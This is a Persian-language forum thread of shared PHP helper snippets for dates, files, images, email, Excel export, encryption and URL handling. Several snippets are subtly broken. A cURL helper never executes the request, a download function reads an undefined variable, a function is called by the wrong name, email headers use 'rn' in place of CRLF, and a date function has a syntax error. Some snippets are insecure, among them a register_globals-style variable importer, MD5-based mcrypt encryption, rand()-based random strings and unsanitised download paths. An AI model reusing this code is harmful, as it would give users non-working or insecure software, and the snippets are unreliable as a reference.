برای مثال، اگه به شکل زیر صداش بزنید:

ImportRequestVariables('p', 'p_');
میتونید توی بقیه کدتون بجای ['POST['user_$ و ['POST['pass_$ به سادگی از متغیرهای p_user$ و p_pass$ استفاده کنید.
سلام.

آقاي شهركي بهتر نيست از extract استفاده كنيم؟

MMSHFE
یک شنبه 03 شهریور 1392, 09:28 صبح
extract میتونه مثل این تابع، اگه پارامتر اول رو gp دادیم، اول متغیرهای Get رو تبدیل به متغیر عادی کنه و بعد متغیرهای Post معادل رو جایگزین کنه (کاری که توی import_request_variables خود PHP انجام میشد)؟ البته داخل تابع رو میشه با extract کمی ساده تر کرد ولی این کد رو خیلی وقت پیش نوشته بودم و بخاطر همین از تابع خاصی داخلش استفاده نشده.

mohsen_31369
دوشنبه 11 شهریور 1392, 11:18 صبح
تابعی مفید برای اینکد کردن url ها.
وقتی مفیده که بخواین مثلا از rss که لینک هاش حاوی کلمات فارسی هست، url صفحه ای رو گرفته سپس اون صفحه رو با cUrl بخواین باز کنید.


function safe_urlencode($txt){
// Skip all URL reserved characters plus dot, dash, underscore and tilde..
$result = preg_replace_callback("/[^-\._~:\/\?#\\[\\]@!\$&'\(\)\*\+,;=]+/",
function ($match) {
// ..and encode the rest!
return rawurlencode($match[0]);
}, $txt);
return ($result);
}

Reza1607
شنبه 16 شهریور 1392, 14:07 عصر
با سلام
با استفاده از این تکه کد می تونید تاریخ و ساعت رو به شکل های ۲ دقیقه پیش ، ۱ ساعت و ۱۰ دقیقه پیش نمایش بدید


public function Timeago($time,$format='Y/m/d H:i:s'){
$now=time();

if(is_string($time) && strlen(intval($time))!=10){
$time=strtotime($time);
}
$ago='پیش';
if($now<$time){
$diff=$time-$now;
$ago='بعد';
}else $diff=$now-$time;

if($diff<30) $output='همین حالا';
else if($diff>=30 && $diff<60) $output=$diff.' ثانیه '.$ago;
else if($diff>=60 && $diff<120) $output='کمتر از '.($diff/60).' دقیقه'.$ago;
else if($diff>=120 && $diff<3600){
$min=intval($diff/60);
$sec=intval($diff-($min*60));
$output=$min.' دقیقه'.($sec!=0?' و '.$sec.' ثانیه ':' ').$ago;
}else if($diff>=3600 && $diff<(24*3600)){
$h=intval($diff/3600);
$min=intval(($diff-($h*3600)) / 60);
$output=$h.' ساعت'.($min!=0?' و '.$min.' دقیقه ':' ').$ago;
}else if($diff>=(24*3600) && $diff<(2*24*3600)){
if($ago=='پیش') $output='دیروز';
else $output='فردا';
$output.=' ساعت '.date('H:i:s',$time);
}else $output=date($format,$time);

return $output;
}

طرز استفاده هم به این صورت هست شما زمان رو به عنوان پارامتر می فرستید و تابع خروجی مناسب رو برمی گردونه
مثال
ورودی -> 1378461081 ====> خروجی -> دیروز ساعت 14:21:21
ورودی -> strtotime('-5 mins') ====> خروجی -> ۵ دقیقه پیش
ورودی -> strtotime('+5 mins') ====> خروجی -> ۵ دقیقه بعد

tmwebseo
یک شنبه 07 مهر 1392, 15:38 عصر
با استفاده از کد زیر میتوانیم هر فایلی را تا تعداد999 تکه splitکنیم. در ضمن این کد قابلیت rejoinفایل های split شده را دارد.



$filename = "http://www.iyinet.com/my-big-file.zip";

$targetfolder = '/tmp';

$piecesize = 10; // splitted file size in MB

$buffer = 1024;
$piece = 1048576*$piecesize;
$current = 0;
$splitnum = 1;

if(!file_exists($targetfolder)) {
if(mkdir($targetfolder)) {
echo "Created target folder $targetfolder".br();
}
}

if(!$handle = fopen($filename, "rb")) {
die("Unable to open $filename for read! Make sure you edited filesplit.php correctly!".br());
}

$base_filename = basename($filename);

$piece_name = $targetfolder.'/'.$base_filename.'.'.str_pad($splitnum, 3, "0", STR_PAD_LEFT);
if(!$fw = fopen($piece_name,"w")) {
die("Unable to open $piece_name for write. Make sure target folder is writeable.".br());
}
echo "Splitting $base_filename into $piecesize Mb files ".br()."(last piece may be smaller in size)".br();
echo "Writing $piece_name...".br();
while (!feof($handle) and $splitnum < 999) {
if($current < $piece) {
if($content = fread($handle, $buffer)) {
if(fwrite($fw, $content)) {
$current += $buffer;
} else {
die("filesplit.php is unable to write to target folder. Target folder may not have write permission! Try chmod +w target_folder".br());
}
}
} else {
fclose($fw);
$current = 0;
$splitnum++;
$piece_name = $targetfolder.'/'.$base_filename.'.'.str_pad($splitnum, 3, "0", STR_PAD_LEFT);
echo "Writing $piece_name...".br();
$fw = fopen($piece_name,"w");
}
}
fclose($fw);
fclose($handle);
echo "Done! ".br();
exit;

function br(){
return (!empty($_SERVER['SERVER_SOFTWARE']))?'':"\n";
}

رضا قربانی
دوشنبه 08 مهر 1392, 15:46 عصر
با استفاده از این کد می تونید خروجی اکسل بگیرید :


function xlsBOF() {
echo pack("ssssss", 0x809, 0x8, 0x0, 0x10, 0x0, 0x0);
return;
}
//*********************************************
function xlsEOF() {
echo pack("ss", 0x0A, 0x00);
return;
}
//*********************************************
function xlsWriteNumber($Row, $Col, $Value) {
echo pack("sssss", 0x203, 14, $Row, $Col, 0x0);
echo pack("d", $Value);
return;
}
//*********************************************
function xlsWriteLabel($Row, $Col, $Value ) {
$L = strlen($Value);
echo pack("ssssss", 0x204, 8 + $L, $Row, $Col, 0x0, $L);
echo $Value;
return;
}
//*********************************************
header("Pragma: public");
header("Expires: 0");

header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header('Content-Type: application/vnd.ms-excel; charset=utf-8');
header("Content-Disposition: attachment;filename=Xsl-Ghorbani.xls ");
header("Content-Transfer-Encoding: binary ");


xlsBOF();
//*********************************************
xlsWriteLabel(0,0,"test test test test test");//خروجی اکسل برای بچه های گل برنامه نویس
//*********************************************
// Make column labels. (at line 3)
xlsWriteLabel(2,1,"First Name");
xlsWriteLabel(2,2,"Last Name");
xlsWriteLabel(2,3,"E-mail");
xlsWriteLabel(2,4,"Phone");
xlsWriteLabel(2,5,"Message");
xlsWriteLabel(2,6,"B First Name");
xlsWriteLabel(2,7,"B Last Name");
xlsWriteLabel(2,8,"B Phone");
xlsWriteLabel(2,9,"B E-mail");
xlsWriteLabel(2,10,"B Stuff");
$xlsRow = 3;

//************while($row=mysql_fetch_array($result)) {


xlsWriteLabel($xlsRow,1,"Reza");////$row['fname']
xlsWriteLabel($xlsRow,2,"Ghorbani");
xlsWriteLabel($xlsRow,3,"php_seo@yahoo.com");
xlsWriteLabel($xlsRow,4,"09119171500");
xlsWriteLabel($xlsRow,5,"Berid halesho bebarid");
xlsWriteLabel($xlsRow,6,"bfname");
xlsWriteLabel($xlsRow,7,"blname");
xlsWriteLabel($xlsRow,8,"btel");
xlsWriteLabel($xlsRow,9,"bemail");
xlsWriteLabel($xlsRow,10,"bstuff");
$xlsRow++;
////////////////////// }
xlsEOF();
exit();



موفق باشید

soroush.r70
چهارشنبه 24 مهر 1392, 14:11 عصر
کد کردن و دیکد کردن


function encryptDecrypt($key, $string, $decrypt)
{
if($decrypt)
{
$decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, md5($key), base64_decode($string), MCRYPT_MODE_CBC, md5(md5($key))), "12");
return $decrypted;
}else{
$encrypted = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, md5($key), $string, MCRYPT_MODE_CBC, md5(md5($key))));
return $encrypted;
}
}

طریقه استفاده

echo encryptDecrypt('password', 'encrypt-decrypt this',0);

soroush.r70
چهارشنبه 24 مهر 1392, 14:12 عصر
تولید رشته تصادفی

function generateRandomString($length = 10) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM NOPQRSTUVWXYZ';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, strlen($characters) - 1)];
}
return $randomString;
}

طریقه استفاده

echo generateRandomString(20);

soroush.r70
چهارشنبه 24 مهر 1392, 14:13 عصر
دریافت پسوند فایل


function get_extension($filename)
{
$myext = substr($filename, strrpos($filename, '.'));
return str_replace('.','',$myext);
}

طریقه استفاده


$filename = 'this_myfile.cd.doc';
echo get_extension($filename)

soroush.r70
چهارشنبه 24 مهر 1392, 14:14 عصر
حذف پسوند فایل


function RemoveExtension($strName)
{
$ext = strrchr($strName, '.');
if($ext !== false)
{
$strName = substr($strName, 0, -strlen($ext));
}
return $strName;
}

طریقه استفاده


echo RemoveExtension('myfile.ho');

soroush.r70
چهارشنبه 24 مهر 1392, 14:14 عصر
بدست آردن اندازه فایل


function format_size($size) {
$sizes = array(" Bytes", " KB", " MB", " GB", " TB", " PB", " EB", " ZB", " YB");
if ($size == 0) { return('n/a'); } else {
return (round($size/pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizes[$i]); }
}

طریقه استفاده


$thefile = filesize('test_file.mp3')
echo format_size($thefile);

soroush.r70
چهارشنبه 24 مهر 1392, 14:15 عصر
حذف کاراکترهای غیر ASCII را از رشته


function clean_none_ascii($output) {
$output = preg_replace('/[^(x20-x7F)]*/','', $output);
return $output;
}

طریقه استفاده


$output = "Clean this copy of invalid non ASCII äócharacters.";
echo clean_non_ascii($output);

soroush.r70
چهارشنبه 24 مهر 1392, 14:16 عصر
تجزیه رشته


function string_parser($string,$replacer)
{
$result = str_replace(array_keys($replacer), array_values($replacer),$string);
return $result;
}

طریقه استفاده


$string = 'The {b}anchor text{/b} is the {b}actual word{/b} or words used {br}to describe the link {br}itself';
$replace_array = array('{b}' => '<b>','{/b}' => '</b>','{br}' => '<br />');

echo string_parser($string,$replace_array);

soroush.r70
چهارشنبه 24 مهر 1392, 14:17 عصر
ارسال ایمیل با بدنه html


function php_html_email($email_args) {
$headers = 'MIME-Version: 1.0' . "rn";
$headers .= 'Content-type: text/html; charset=UTF-8' . "rn";
$headers .= 'To:'.$email_args['to'] . "rn";
$headers .= 'From:'.$email_args['from'] . "rn";
if(!empty($email_args['cc'])){$headers .= 'Cc:'.$email_args['cc'] . "rn";}
$message_body = '<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" />';
$message_body .= '<title>'.$email_args["subject"].'</title>';
$message_body .= '</head><body>';
$message_body .= $email_args["message"];
$message_body .= '</body></html>';
if(@mail($email_args['to'], $email_args['subject'], $message_body, $headers))
{
return true;
}else{
return false;
}
}


طریقه استفاده


$email_args = array(
'from'=>'my_email@testserver.com <mr. Sender>',
'to' =>'test_recipient@testgmail.com <camila>, test_recipient2@testgmail.com <anderson>',
'cc' =>'test_cc123_recipient@testgmail.com <christopher>, test_cc321_recipient2@testgmail.com <francisca>',
'subject' =>'This is my Subject Line',
'message' =>'<b style="color:red;">This</b> is my <b>HTML</b> message. <br />This message will be sent using <b style="color:green;">PHP mail</b>.',
);

if(php_html_email($email_args)){
echo 'Mail Sent';
}

soroush.r70
چهارشنبه 24 مهر 1392, 14:18 عصر
فهرست فایلها در یک دایرکتوری


function listDirFiles($DirPath)
{
if($dir = opendir($DirPath)){
while(($file = readdir($dir))!== false){
if(!is_dir($DirPath.$file))
{
echo "filename: $file<br />";
}
}
}
}

طریقه استفاده


listDirFiles('home/some_folder/');

soroush.r70
چهارشنبه 24 مهر 1392, 14:20 عصر
قرار دادن گراواتار شخصی در سایت خود


function gravatar($email, $rating = false, $size = false, $default = false) {
$out = "http://www.gravatar.com/avatar.php?gravatar_id=".md5($email);
if($rating && $rating != '')
$out .= "&amp;rating=".$rating;
if($size && $size != '')
$out .="&amp;size=".$size;
if($default && $default != '')
$out .= "&amp;default=".urlencode($default);
echo $out;
}


طریقه استفاده


<!--
email - Email address in gravatar
rating - rating of Gravatar(G, PG, R, X)
size - size of gravatar
default - URL of default gravatar to use or use various options : http://j.mp/SUmEq9
-->
<img src="<?php gravatar('emailaddress@sgmail.com','G',32,'monster id'); ?>" />

soroush.r70
چهارشنبه 24 مهر 1392, 14:22 عصر
اتوماتیک لینک کردن تمام آدرس ها و ایمیل ها


function autolink($message) {
//Convert all urls to links
$message = preg_replace('#([s|^])(www)#i', '$1http://$2', $message);
$pattern = '#((http|https|ftp|telnet|news|gopher|file|wais)://[^s]+)#i';
$replacement = '<a href="$1" target="_blank">$1</a>';
$message = preg_replace($pattern, $replacement, $message);

/* Convert all E-mail matches to appropriate HTML links */
$pattern = '#([0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*.';
$pattern .= '[a-wyz][a-z](fo|g|l|m|mes|o|op|pa|ro|seum|t|u|v|z)?)#i';
$replacement = '<a href="mailto:1">1</a>';
$message = preg_replace($pattern, $replacement, $message);
return $message;
}

طریقه استفاده


$my_string = strip_tags('this http://www.cdcv.com/php_tutorial/strip_tags.php make clickable text and this email bobby23432@fakserver.com');
echo autolink($my_string);

soroush.r70
چهارشنبه 24 مهر 1392, 14:23 عصر
گرفتن آدرس خروجی از صفحه فعلی


function curPageURL() {
$pageURL = 'http';
if (!empty($_SERVER['HTTPS'])) {$pageURL .= "s";}
$pageURL .= "://";
if ($_SERVER["SERVER_PORT"] != "80") {
$pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
} else {
$pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
}
return $pageURL;
}

طریقه استفاده


echo curPageURL();

soroush.r70
چهارشنبه 24 مهر 1392, 14:24 عصر
تابعی برای دانلود فایل


function download($file_path)
{
if ((isset($file_path))&&(file_exists($file_path)))
{
header("Content-length: ".filesize($file_path));
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $file_path . '"');
readfile("$filename");
} else {
echo "Looks like file does not exist!";
}
}

طریقه استفاده


download('/home/this/folder/2914654828_45f73e852.zip')

soroush.r70
چهارشنبه 24 مهر 1392, 14:25 عصر
کوتاه کردن متن های طولانی


function truncate($text, $length = 0)
{
if ($length > 0 && strlen($text) > $length) // Truncate the item text if it is too long.
{
$tmp = substr($text, 0, $length); // Find the first space within the allowed length.
$tmp = substr($tmp, 0, strrpos($tmp, ' '));
if (strlen($tmp) >= $length - 3) { // If we don't have 3 characters of room, go to the second space within the limit.
$tmp = substr($tmp, 0, strrpos($tmp, ' '));
}
$text = $tmp.'...';
}
return $text;
}


طریقه استفاده



$string = 'The behavior will not truncate an individual word, it will find the first space that is within the limit and truncate.';
echo truncate($string,60);

soroush.r70
چهارشنبه 24 مهر 1392, 14:26 عصر
خلاصه کردن یک رشته

مثال :
“Really long title” to “Really…title”.



function abridge($text, $length = 50, $intro = 30)
{
// Abridge the item text if it is too long.
if (strlen($text) > $length)
{
// Determine the remaining text length.
$remainder = $length - ($intro + 3);

// Extract the beginning and ending text sections.
$beg = substr($text, 0, $intro);
$end = substr($text, strlen($text) - $remainder);

// Build the resulting string.
$text = $beg . '...' . $end;
}
return $text;
}

طریقه استفاده


$string = 'The behavior will not truncate an individual word, it will find the first space that is within the limit and truncate.';
echo abridge($string,60);

soroush.r70
چهارشنبه 24 مهر 1392, 14:32 عصر
دریافت اطلاعات از یک آدرس (Get JSON data from a URL (cURL


function get_my_json_data($json_url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $json_url);
curl_close($ch);
return json_decode($json_data);
}

طریقه استفاده


$the_data = get_my_json_data('http://graph.facebook.com/btaylor');
echo '<pre>';
print_r($the_data);
echo '</pre>';
echo $the_data->name;

اگر شما مشکلی در رابطه با روش CURL روبرو هستید، شما می تونید از روش های جایگزین با استفاده از file_get_contents پی اچ پی استفاده کنید.


function get_json_data($json_url)
{
$json_data = file_get_contents($json_url);
return json_decode($json_data);
}

soroush.r70
چهارشنبه 24 مهر 1392, 14:41 عصر
تغییر اندازه گروهی عکس ها در یک پوشه


<?php
//Maximize script execution time
ini_set('max_execution_time', 0);

//Initial settings, Just specify Source and Destination Image folder.
$ImagesDirectory = '/home/public_html/websites/images/'; //Source Image Directory End with Slash
$DestImagesDirectory = '/home/public_html/websites/images/new/'; //Destination Image Directory End with Slash
$NewImageWidth = 500; //New Width of Image
$NewImageHeight = 500; // New Height of Image
$Quality = 80; //Image Quality

//Open Source Image directory, loop through each Image and resize it.
if($dir = opendir($ImagesDirectory)){
while(($file = readdir($dir))!== false){

$imagePath = $ImagesDirectory.$file;
$destPath = $DestImagesDirectory.$file;
$checkValidImage = @getimagesize($imagePath);

if(file_exists($imagePath) && $checkValidImage) //Continue only if 2 given parameters are true
{
//Image looks valid, resize.
if(resizeImage($imagePath,$destPath,$NewImageWidth ,$NewImageHeight,$Quality))
{
echo $file.' resize Success!<br />';
/*
Now Image is resized, may be save information in database?
*/

}else{
echo $file.' resize Failed!<br />';
}
}
}
closedir($dir);
}

//Function that resizes image.
function resizeImage($SrcImage,$DestImage, $MaxWidth,$MaxHeight,$Quality)
{
list($iWidth,$iHeight,$type) = getimagesize($SrcImage);
$ImageScale = min($MaxWidth/$iWidth, $MaxHeight/$iHeight);
$NewWidth = ceil($ImageScale*$iWidth);
$NewHeight = ceil($ImageScale*$iHeight);
$NewCanves = imagecreatetruecolor($NewWidth, $NewHeight);

switch(strtolower(image_type_to_mime_type($type)))
{
case 'image/jpeg':
case 'image/png':
case 'image/gif':
$NewImage = imagecreatefromjpeg($SrcImage);
break;
default:
return false;
}

// Resize Image
if(imagecopyresampled($NewCanves, $NewImage,0, 0, 0, 0, $NewWidth, $NewHeight, $iWidth, $iHeight))
{
// copy file
if(imagejpeg($NewCanves,$DestImage,$Quality))
{
imagedestroy($NewCanves);
return true;
}
}
}

?>

soroush.r70
چهارشنبه 24 مهر 1392, 14:45 عصر
فعال کردن نمایش خطا در php


ini_set('display_errors', 1);
error_reporting(E_ALL);

soroush.r70
چهارشنبه 24 مهر 1392, 14:47 عصر
بررسی کد های مخرب و تروجان در وب سایت و ایمیل کردن کردن اطلاعات


// Point to script that scans your site
$ScanResult = file_get_contents("http://www.YOURSITE.com/secret-folder/lookforbadguys.php",0);
if($ScanResult)
{
$to = 'youremail@yoursite.com'; // your email address
$headers = 'MIME-Version: 1.0' . "rn";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "rn";

// Mail result
mail($to, 'Malicious code scan result', $ScanResult, $headers);
}

tux-world
پنج شنبه 12 دی 1392, 22:50 عصر
بررسی کد های مخرب و تروجان در وب سایت و ایمیل کردن کردن اطلاعات


سلام. خیلی ببخشید. این تابعی که معرفی کردید محتویات یه لینک رو میگیره . مثلا به صورتی آدرسهای ایمیل تو یه فایل یا سایت بعد یکی یکی ایمیل میزنه حالا این بررسی کد مخرب و تروجان کوو؟؟؟؟

foreach
پنج شنبه 19 دی 1392, 22:17 عصر
اعتبار سنجی ایمیل ها,فیلد های ضروری,آدرس ها,فیلد های عددی و طول رشته ها
نکته : نسخه PHP باید 5.4.0 و یا بالاتر باشه
کلاس و نمونه کد ضمیمه شد

MMSHFE
دوشنبه 21 بهمن 1392, 20:03 عصر
کاهش حجم فایلهای تصویری به اندازه دلخواه
این کد رو میتونید برحسب نیازتون، کاملتر کنید و برای مثال، با توجه به نوع فرمت (PNG و...) از توابع مناسب برای خوندن و ذخیره کردن تصویر استفاده کنید:


function Resize($file, $size) {
if(!file_exists($file)) {
return;
}
$im = ImageCreateFromJPEG($file);
$quality = 100;
do {
ImageJPEG($im, $file, $quality--);
} while(filesize($file) > $size && $quality > 0);
ImageDestroy($im);
}

tux-world
شنبه 26 بهمن 1392, 14:55 عصر
برای تغییر سایز رو بقیه چیزها من از این کلاس ساده استفاده میکنم. برای تمام فرمتها هم کار میکنه.



/*
* Author: Simon Jarvis
*/
class SimpleImage {

var $image;
var $image_type;

function load($filename) {

$image_info = getimagesize($filename);
$this->image_type = $image_info[2];
if( $this->image_type == IMAGETYPE_JPEG ) {

$this->image = imagecreatefromjpeg($filename);
} elseif( $this->image_type == IMAGETYPE_GIF ) {

$this->image = imagecreatefromgif($filename);
} elseif( $this->image_type == IMAGETYPE_PNG ) {

$this->image = imagecreatefrompng($filename);
}
}

function save($filename, $image_type=IMAGETYPE_JPEG, $compression=75, $permissions=null) {

if( $image_type == IMAGETYPE_JPEG ) {
imagejpeg($this->image,$filename,$compression);
} elseif( $image_type == IMAGETYPE_GIF ) {

imagegif($this->image,$filename);
} elseif( $image_type == IMAGETYPE_PNG ) {

imagepng($this->image,$filename);
}
if( $permissions != null) {

chmod($filename,$permissions);
}
}

function output($image_type=IMAGETYPE_JPEG) {

if( $image_type == IMAGETYPE_JPEG ) {
imagejpeg($this->image);
} elseif( $image_type == IMAGETYPE_GIF ) {

imagegif($this->image);
} elseif( $image_type == IMAGETYPE_PNG ) {

imagepng($this->image);
}
}

function getWidth() {

return imagesx($this->image);
}

function getHeight() {

return imagesy($this->image);
}

function resizeToHeight($height) {

$ratio = $height / $this->getHeight();
$width = $this->getWidth() * $ratio;
$this->resize($width,$height);
}

function resizeToWidth($width) {
$ratio = $width / $this->getWidth();
$height = $this->getheight() * $ratio;
$this->resize($width,$height);
}

function scale($scale) {
$width = $this->getWidth() * $scale/100;
$height = $this->getheight() * $scale/100;
$this->resize($width,$height);
}

function resize($width,$height) {
$new_image = imagecreatetruecolor($width, $height);
imagecopyresampled($new_image, $this->image, 0, 0, 0, 0, $width, $height, $this->getWidth(), $this->getHeight());
$this->image = $new_image;
}

}

trasilver
پنج شنبه 29 اسفند 1392, 04:03 صبح
چک کردن پیج رنک گوگل و الکسا :



<?php
function page_rank($page, $type = 'alexa'){
switch($type){
case 'alexa':
$url = 'http://alexa.com/siteinfo/';
$handle = fopen($url.$page, 'r');
break;
case 'google':
$url = 'http://google.com/search?client=navclient-auto&ch=6-1484155081&features=Rank&q=info:';
$handle = fopen($url.'http://'.$page, 'r');
break;
}
$content = stream_get_contents($handle);
fclose($handle);
$content = preg_replace("~(\n|\t|\s\s+)~",'', $content);
switch($type){
case 'alexa':
if(preg_match('~\<div class=\"data (down|up)\"\>\<img.+?\>(.+?)\<\/div\>~im',$content,$matches)){
return $matches[2];
}else{
return FALSE;
}
break;
case 'google':
$rank = explode(':',$content);
if($rank[2] != '')
return $rank[2];
else
return FALSE;
break;
default:
return FALSE;
break;
}
}
// Alexa Page Rank:
echo 'Alexa Rank: '.page_rank('phpsnips.com');
echo '<br>';
// Google Page Rank
echo 'Google Rank: '.page_rank('phpsnips.com', 'google');
?>

با سلام. این کد کار نمی کنه. آیا کد دیگری نیست؟

فرزند کوروش
دوشنبه 05 آبان 1393, 21:33 عصر
گرفتن عکس از صفحه اول یک سایت و ذخیره بر روی هاست یا سیستم خود


function takeImage($url,$dir){
$name = rand(0,9988987);
$address = "http://api.webthumbnail.org?width=500&height=400&screen=1024&url=".$url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$address);
$fp = fopen($dir.$name.'.png', 'w');
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_exec ($ch);
curl_close ($ch);
fclose($fp);
}
takeImage("http://barnamenevis.org/" ,"./");

arta.nasiri
دوشنبه 24 آذر 1393, 17:44 عصر
سلام

اینم کلاس Helper که چندتا متد بدردبخور داره.
لیست متدها:

resizeImage تغییر سایز عکس (jpeg, png, gif)
fa2en تبدیل اعداد فارسی به انگلیسی
getLocation پیدا کردن موقعیت کاربر توسط IP
متد zip که Direcotry های تو در تو را هم پشتیبانی میکنه
copyDirectory همانطور که از اسمش معلومه یک فولدر رو از مبدا به مقصد کپی میکنه (recursive)
removeDirectoryحذف فولدر یا فولدرهای تو در تو رو به همراه فایل ها

MMSHFE
چهارشنبه 23 اردیبهشت 1394, 09:35 صبح
تغییر برچسب زمانی (Timestamp) و عقب/جلو کشیدن اون به تعداد سال، ماه، روز، ساعت، دقیقه، ثانیه - بصورت هجری شمسی

چند وقته میبینم دوستان توی تالار مشکلات زیادی توی محاسبه و ویرایش تاریخهای شمسی دارن. یکی از اونها که خیلی هم رایج هست اینه که میخوان به یه تاریخ مشخصی (درواقع به یک Timestamp مشخص) تعداد سال و ماه و روز و ساعت و دقیقه و ثانیه دلخواه رو اضافه یا ازش کم کنن و این موضوع با احتساب روزهای تقویم شمسی محاسبه بشه. مثلاً اگه میخوان 5 ماه اضافه کنن و اون سال کبیسه است و اسفند هم توی ماههایی که قراره اضافه بشه وجود داره، به اسفند که رسیدن، 30 روز اضافه بشه. این شد که تصمیم گرفتم با کمک کتابخانه JDF (http://jdf.scr.ir) یک تابع مفید برای اینکار بنویسم. اینم از تابع:


function changeTimestamp($ts, $years = 0, $months = 0, $days = 0, $hours = 0, $minutes = 0, $seconds = 0) {
require_once 'jdf.php'; // download from http://jdf.scr.ir

// add/subtract years
$operator = ($years < 0 ? -1 : 1);
$years = abs($years);
while($years > 0) {
$daysOfCurrentYear = (tr_num(jdate('L'), $ts) ? 365 : 366);
$ts += ($daysOfCurrentYear * 86400 * $operator);
$years--;
}

// add/subtract months
$operator = ($months < 0 ? -1 : 1);
$months = abs($months);
while($months > 0) {
$daysOfCurrentMonth = tr_num(jdate('t', $ts);
$ts += ($daysOfCurrentMonth * 86400 * $operator);
$months--;
}

// add/subtract days
$operator = ($days < 0 ? -1 : 1);
$days = abs($days);
while($days > 0) {
$ts += (86400 * $operator);
$days--;
}

// add/subtract hours
$ts += ($hours * 3600);

// add/subtract minutes
$ts += ($minutes * 60);

// add/subtract seconds
$ts += $seconds;

return $ts;
}

مزیت این تابع اینه که میتونید با اعداد منفی، زمان به عقب بکشین و با کمک اعداد مثبت، به جلو بیارین. برای مثال، اگه میخواین بدونین یک ماه قبل، دو ساعت و نیم جلوتر از الان، چه Timestamp داشته، اینطوری از تابع فوق استفاده میکنید:

$ts = changeTimestamp(time(), 0, -1, 0, 2, 30, 0);

امیدوارم این کد هم مثل بقیه کدها به درد دوستان بخوره.